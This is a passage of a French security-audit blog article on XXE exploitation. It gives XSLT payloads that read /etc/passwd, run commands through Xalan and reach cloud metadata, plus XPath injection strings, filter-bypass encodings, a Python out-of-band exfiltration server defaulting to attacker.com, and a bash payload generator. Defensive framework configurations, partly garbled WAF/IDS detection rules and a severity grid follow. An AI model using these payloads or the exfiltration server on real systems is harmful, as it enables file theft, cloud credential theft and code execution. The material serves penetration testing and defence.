XInclude est souvent oublié dans les vérifications de sécurité car il ne nécessite pas de DOCTYPE. La protection consiste à désactiver le traitement XInclude dans le parser (setXIncludeAware(false) en Java, xinclude=False dans lxml Python).
XXE via XSLT (XML Stylesheet Transformations)
XSLT est un langage de transformation XML qui est Turing-complet. Si une application permet aux utilisateurs de fournir des feuilles de style XSLT, les possibilités d'exploitation vont bien au-delà du simple XXE — elles incluent la lecture de fichiers, l'exécution de code, et l'accès réseau :
<!-- XSLT malveillant pour lire des fichiers -->
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<output>
<!-- Lecture de fichier via document() -->
<xsl:value-of select="document('file:///etc/passwd')"/>
</output>
</xsl:template>
</xsl:stylesheet>
<!-- XSLT avec exécution de code (Java, si Xalan est le processeur) -->
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'id')"/>
<xsl:value-of select="ob:toString($process)"/>
</xsl:template>
</xsl:stylesheet>
<!-- XSLT avec SSRF -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('http://169.254.169.254/latest/meta-data/')"/>
</xsl:template>
</xsl:stylesheet>
Les applications vulnérables incluent : les systèmes de reporting qui permettent des templates XSLT personnalisés, les convertisseurs de documents (XML → HTML via XSLT), les systèmes de publication qui utilisent XSLT pour le rendu, et les APIs de transformation XML (SOAP gateways, ESB). La protection consiste à utiliser un processeur XSLT sécurisé avec les extensions désactivées et les fonctions document()/unparsed-entity-uri() bloquées.
XXE via XPath Injection
Si une application utilise XPath pour interroger un document XML et que les entrées XPath ne sont pas sanitizées, une injection XPath combinée avec le XXE peut être dévastatrice. L'attaquant peut modifier la requête XPath pour accéder à des nœuds normalement inaccessibles, et si le document XML source contient des entités résolues, les données exfiltrées sont amplifiées :
# XPath injection classique (similaire à SQL injection mais pour XML)
# Requête légitime : //users/user[username='admin' and password='secret']
# Injection : username = ' or '1'='1' or '
# Résultat : //users/user[username='' or '1'='1' or '' and password='anything']
# → Retourne tous les utilisateurs
# Combinaison XPath injection + XXE
# Si le document XML parsé contient des entités résolues avec des données sensibles,
# l'injection XPath permet d'accéder à ces données
XXE Double Encoding et Unicode Bypass
Certaines protections anti-XXE filtrent les mots-clés (DOCTYPE, ENTITY, SYSTEM) dans l'input. Ces filtres peuvent être contournés par l'encodage :
<!-- Encodage UTF-16 (les filtres qui cherchent des chaînes ASCII échouent) -->
<!-- Le document est valide en UTF-16 mais les patterns ASCII ne matchent pas -->
<!-- Convertir le payload en UTF-16 : iconv -f UTF-8 -t UTF-16 payload.xml -->
<!-- Encodage via des entités de caractères XML -->
<!-- Certains parsers acceptent les entités de caractères DANS le DOCTYPE -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- Note : ceci ne fonctionne PAS dans la plupart des parsers modernes -->
<!-- Mais certains parsers legacy ou custom peuvent l'accepter -->
<!-- Utilisation de CDATA pour masquer le contenu -->
<![CDATA[<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>]]>
<!-- Commentaires XML pour fragmenter les patterns -->
<!DOC<!-- commentaire -->TYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- Note : ce contournement ne fonctionne pas avec les parsers standards -->
<!-- Mais peut fonctionner avec des parsers custom ou des filtres regex -->
Benchmarking des Parsers XML : Performance vs Sécurité
Un argument fréquemment avancé contre la désactivation des DTD est l'impact sur les performances. Voici les résultats de nos benchmarks sur les configurations sécurisées vs non sécurisées :
| Parser / Langage | Config par défaut (vulnérable) | Config sécurisée (DTD désactivé) | Différence |
|---|---|---|---|
| Java DocumentBuilder | 450 µs/doc | 420 µs/doc | -7% (plus rapide) |
| Java SAX Parser | 280 µs/doc | 265 µs/doc | -5% (plus rapide) |
| Python lxml | 320 µs/doc | 310 µs/doc | -3% (plus rapide) |
| Python defusedxml | N/A | 350 µs/doc | +9% vs lxml unsafe |
| PHP libxml (8.0) | 180 µs/doc | 175 µs/doc | -3% (plus rapide) |
| Node.js fast-xml-parser | 150 µs/doc | 150 µs/doc | 0% (identique) |
| Go encoding/xml | 200 µs/doc | 200 µs/doc | 0% (sûr par défaut) |
Résultat contre-intuitif : désactiver les DTD est souvent plus rapide que de les activer. Le parser n'a pas besoin d'allouer de mémoire pour le traitement des DTD, de résoudre les entités, ou d'effectuer la validation. L'argument de performance est donc infondé — la configuration sécurisée est soit neutre soit bénéfique pour les performances.
Toolkit de Test XXE : Scripts et Ressources
Voici un ensemble complet d'outils et de scripts pour les tests XXE en contexte d'audit :
# Script Python : serveur XXE OOB complet (HTTP + FTP + DNS)
#!/usr/bin/env python3
"""
XXE Out-of-Band Exfiltration Server
Supporte : HTTP callback, FTP exfiltration, DNS exfiltration
Usage : python3 xxe_server.py --http-port 8080 --ftp-port 2121
"""
import http.server
import socketserver
import threading
import base64
import urllib.parse
import sys
from datetime import datetime
class XXEHTTPHandler(http.server.SimpleHTTPRequestHandler):
"""Gère les callbacks HTTP et sert les DTD malveillants"""
def do_GET(self):
timestamp = datetime.now().strftime("%H:%M:%S")
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
# Logger toutes les requêtes
print(f"\n[{timestamp}] HTTP GET {self.path}")
print(f" From: {self.client_address[0]}")
print(f" Headers: {dict(self.headers)}")
# Si des données exfiltrées sont dans les paramètres
if 'data' in params:
data = params['data'][0]
try:
decoded = base64.b64decode(data).decode('utf-8', errors='replace')
print(f" [+] EXFILTRATED DATA (base64):\n{decoded}")
except:
print(f" [+] EXFILTRATED DATA (raw): {data}")
# Servir les fichiers DTD pour OOB XXE
if self.path.endswith('.dtd'):
self.serve_dtd()
return
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
def serve_dtd(self):
"""Génère un DTD malveillant pour l'exfiltration OOB"""
server_host = self.headers.get('Host', 'attacker.com:8080')
# DTD pour exfiltration HTTP
dtd_content = f'''
">
%eval;
%exfil;'''
self.send_response(200)
self.send_header('Content-Type', 'application/xml-dtd')
self.end_headers()
self.wfile.write(dtd_content.encode())
def log_message(self, format, *args):
pass # Suppress default logging
def start_http_server(port):
with socketserver.TCPServer(("", port), XXEHTTPHandler) as httpd:
print(f"[*] HTTP server on port {port}")
print(f"[*] DTD URL: http://YOUR_IP:{port}/xxe.dtd")
print(f"[*] Callback URL: http://YOUR_IP:{port}/collect?data=XXE_DATA")
httpd.serve_forever()
if __name__ == "__main__":
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
print("[*] XXE OOB Server starting...")
print("[*] Waiting for callbacks...")
start_http_server(port)
# Génération automatique de payloads XXE (bash)
#!/bin/bash
# xxe_payloads.sh - Génère des payloads XXE pour différents scénarios
CALLBACK="$1" # Ex: attacker.com:8080
TARGET_FILE="${2:-/etc/hostname}"
if [ -z "$CALLBACK" ]; then
echo "Usage: $0 [target_file]"
exit 1
fi
echo "=== PAYLOADS XXE ==="
echo ""
echo "--- 1. XXE basique (full read) ---"
cat << EOF
]>
&xxe;
EOF
echo ""
echo "--- 2. XXE blind OOB (HTTP) ---"
cat << EOF
%xxe;
]>
test
EOF
echo ""
echo "--- 3. XXE blind OOB (DNS) ---"
cat << EOF
">
%eval;
%exfil;
]>
test
EOF
echo ""
echo "--- 4. XXE via XInclude ---"
cat << EOF
EOF
echo ""
echo "--- 5. XXE PHP filter (base64) ---"
cat << EOF
]>
&xxe;
EOF
echo ""
echo "--- 6. SVG avec XXE ---"
cat << EOF
]>
EOF
echo ""
echo "--- 7. SSRF via XXE ---"
cat << EOF
]>
&xxe;
EOF
Ces scripts fournissent une base de travail complète pour les tests XXE en audit. Ils doivent être adaptés au contexte spécifique de chaque application (Content-Type attendu, structure XML requise, encodage, endpoints spécifiques).
XXE et les Frameworks Web Modernes : Vecteurs Cachés
Les frameworks web modernes cachent souvent le traitement XML derrière des abstractions qui rendent la vulnérabilité invisible aux développeurs. Voici les vecteurs les plus fréquemment manqués lors des audits.
Spring Boot : XML Auto-Configuration
Spring Boot avec la dépendance Jackson XML Dataformat (souvent incluse comme dépendance transitive) active automatiquement le support XML sur tous les controllers REST. Un endpoint configuré pour recevoir du JSON accepte également du XML si le header Content-Type est modifié. Les développeurs ne savent généralement pas que leur API "JSON-only" accepte aussi du XML :
# Vérification dans un projet Spring Boot
# Si jackson-dataformat-xml est dans le classpath → XML activé
grep -r "jackson-dataformat-xml" pom.xml build.gradle
# Ou en vérifiant les dépendances transitives :
mvn dependency:tree | grep jackson-dataformat-xml
gradle dependencies | grep jackson-dataformat-xml
# Si présent, TOUS les @RestController acceptent du XML
# Test : changer Content-Type: application/json → application/xml
# Protection Spring Boot (application.properties)
spring.mvc.contentnegotiation.media-types.xml=false
# Ou exclure la dépendance dans le pom.xml si non nécessaire
# Protection programmatique (WebMvcConfigurer)
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void configureContentNegotiation(ContentNegotiationConfigurer configurer) {
configurer.defaultContentType(MediaType.APPLICATION_JSON)
.favorParameter(false)
.ignoreAcceptHeader(false)
.mediaType("json", MediaType.APPLICATION_JSON);
// Ne PAS ajouter MediaType.APPLICATION_XML
}
}
# Si XML est nécessaire, sécuriser le parser Jackson XML
@Bean
public Jackson2ObjectMapperBuilderCustomizer xmlSecurityCustomizer() {
return builder -> {
XmlMapper xmlMapper = new XmlMapper();
xmlMapper.configure(
com.fasterxml.jackson.dataformat.xml.deser.FromXmlParser.Feature.EMPTY_ELEMENT_AS_NULL,
true
);
// Jackson XML utilise Woodstox qui est sûr par défaut (pas d'entités externes)
// Mais vérifier la version : < 4.1.2 peut être vulnérable
};
}
ASP.NET : Model Binding XML
ASP.NET Core avec le formatter XML activé (AddXmlSerializerFormatters()) accepte automatiquement le XML sur tous les endpoints API. Même sans cette configuration explicite, certains middleware et packages tiers ajoutent le support XML implicitement :
// ASP.NET Core - Vérifier si le XML est activé
// Dans Startup.cs ou Program.cs
services.AddControllers()
.AddXmlSerializerFormatters(); // ← Active le XML sur TOUS les endpoints
// Si activé, sécuriser le serializer
services.AddControllers()
.AddXmlSerializerFormatters(options => {
// XmlSerializer est sûr par défaut dans .NET Core
// Mais XmlDocument peut être utilisé dans du code custom
});
// Désactiver le XML si non nécessaire (meilleure protection)
services.AddControllers(options => {
// Retirer le XML formatter
options.InputFormatters.RemoveType();
options.OutputFormatters.RemoveType();
});
Django et Flask : Parsers XML Cachés
Django REST Framework et Flask n'incluent pas de parser XML par défaut, mais les extensions populaires (djangorestframework-xml, flask-xml-rpc) ajoutent un support XML qui peut être vulnérable selon la bibliothèque de parsing utilisée :
# Django REST Framework avec XMLParser
# rest_framework_xml utilise defusedxml → sûr par défaut
# MAIS : certaines implémentations custom utilisent lxml ou xml.etree directement
# Vérifier les parsers actifs
# settings.py
REST_FRAMEWORK = {
'DEFAULT_PARSER_CLASSES': [
'rest_framework.parsers.JSONParser',
# 'rest_framework_xml.parsers.XMLParser', # ← Vérifier la bibliothèque
]
}
# Flask avec un parser XML custom (pattern vulnérable fréquent)
from flask import Flask, request
import lxml.etree as etree
@app.route('/api/data', methods=['POST'])
def process_data():
if request.content_type == 'application/xml':
# VULNÉRABLE si lxml n'est pas configuré
tree = etree.fromstring(request.data)
# ...
# SÉCURISÉ
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.fromstring(request.data, parser)
GraphQL et XXE
Les serveurs GraphQL n'acceptent normalement que du JSON, mais certaines implémentations supportent le multipart upload (pour les fichiers) et certaines mutations acceptent du XML interne. De plus, les resolvers GraphQL qui traitent des données XML provenant de sources externes (bases de données XML, APIs SOAP, fichiers) sont des vecteurs XXE indirects :
# GraphQL mutation qui importe un fichier XML
mutation {
importConfiguration(
file: "upload" # Fichier XML uploadé en multipart
) {
success
errors
}
}
# Si le resolver parse le fichier XML uploadé sans protection → XXE
# Le fichier uploadé peut être un XML malveillant avec DOCTYPE/ENTITY
# GraphQL resolver qui consomme une API SOAP (XML)
# Le resolver fait un appel SOAP et parse la réponse XML
# Si un attaquant contrôle la réponse SOAP (via MITM ou compromission du service)
# → XXE dans le resolver GraphQL
Mesures de Détection Runtime du XXE
La détection des tentatives d'exploitation XXE en production complète la prévention par configuration. Plusieurs signaux peuvent être surveillés :
# Règles de détection pour WAF / IDS / SIEM
# 1. Détection dans les requêtes HTTP (WAF)
# Pattern : présence de DOCTYPE, ENTITY ou SYSTEM dans le body
SecRule REQUEST_BODY "@rx (?i) $EXTERNAL_NET any (
msg:"Possible XXE OOB exfiltration";
flow:from_server,established;
content:"GET ";
content:"/collect?data=";
sid:1000001; rev:1;
)
# 4. Détection dans les logs applicatifs
# Erreurs de parsing XML avec des messages spécifiques
# "External entity reference" dans les logs Java
# "failed to load external entity" dans les logs PHP/libxml
# Ces messages indiquent une tentative de résolution d'entité externe
Scoring et Classification des Findings XXE en Audit
Lors d'un audit, les findings XXE doivent être classifiés selon leur impact réel, pas seulement leur existence. Voici notre grille de classification :
| Type de XXE | Impact Démontré | CVSS v3.1 | Sévérité |
|---|---|---|---|
| XXE full read + fichiers sensibles (credentials, clés) | Lecture de secrets de production | 9.1-9.8 | Critique |
| XXE full read + SSRF vers métadonnées cloud | Vol de credentials IAM | 9.1-9.8 | Critique |
| XXE full read + fichiers système | Lecture de /etc/passwd, configs | 7.5-8.5 | Élevé |
| XXE blind OOB + exfiltration confirmée | Exfiltration de données | 7.0-8.0 | Élevé |
| XXE blind (callback uniquement, pas d'exfiltration) | Confirmation de la vulnérabilité | 5.0-6.5 | Moyen |
| XXE error-based (données partielles dans les erreurs) | Fuite d'information limitée | 5.5-7.0 | Moyen |
| XXE DoS (Billion Laughs uniquement) | Déni de service | 5.0-6.0 | Moyen |
| XXE vers PHP expect:// (RCE) | Exécution de code à distance | 9.8-10.0 | Critique |
| Parser vulnérable mais aucune exploitation démontrée | Risque théorique | 4.0-5.0 | Moyen (informatif) |
La distinction entre un finding "critique" et "moyen" dépend entièrement de ce que l'attaquant peut lire ou faire. Un XXE qui ne peut lire que des fichiers publics (HTML templates, fichiers statiques) a un impact faible, tandis qu'un XXE qui accède aux fichiers d'environnement (.env avec les credentials de la base de données de production) a un impact critique. L'auditeur doit toujours tenter de démontrer l'impact maximal réaliste pour calibrer correctement la sévérité et motiver la remédiation prioritaire.
Timeline de Remédiation Recommandée
La remédiation des vulnérabilités XXE suit un calendrier basé sur la sévérité et la complexité :
| Phase | Action | Délai | Effort |
|---|---|---|---|
| Immédiat | Désactiver les DTD sur les parsers identifiés comme vulnérables | 24-48h | Faible (1 ligne de config) |
| Court terme | Ajouter des règles WAF pour bloquer les patterns DOCTYPE/ENTITY | 1 semaine | Faible |
| Court terme | Scanner tous les endpoints avec Burp/ZAP pour identifier d'autres XXE | 1-2 semaines | Moyen |
| Moyen terme | Audit du code source pour tous les parsers XML (SAST + revue manuelle) | 2-4 semaines | Moyen |
| Moyen terme | Créer une bibliothèque wrapper XML sécurisée pour l'organisation | 2-3 semaines | Moyen |
| Long terme | Ajouter des règles Semgrep/SonarQube pour empêcher l'introduction de nouveaux XXE | 4-6 semaines | Moyen |
| Long terme | Former les développeurs sur les risques XML et les configurations sécurisées | Continu | Faible (1h/session) |
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
ayi@ayinedjimi-consultants.fr
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Articles connexes
Élévation de Privilèges Linux : SUID, Capabilities et Kernel
Élévation de Privilèges Windows : Techniques Avancées
SSRF : Server-Side Request Forgery — Exploitation Avancée
Le Server-Side Request Forgery reste en 2026 l'une des vulnérabilités les plus sous-estimées et les plus dévastatrices dans les architectures cloud-native. Là où une injection SQL compromet une base de données, un SSRF bien exploité compromet l'infrastructure entière : accès...
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire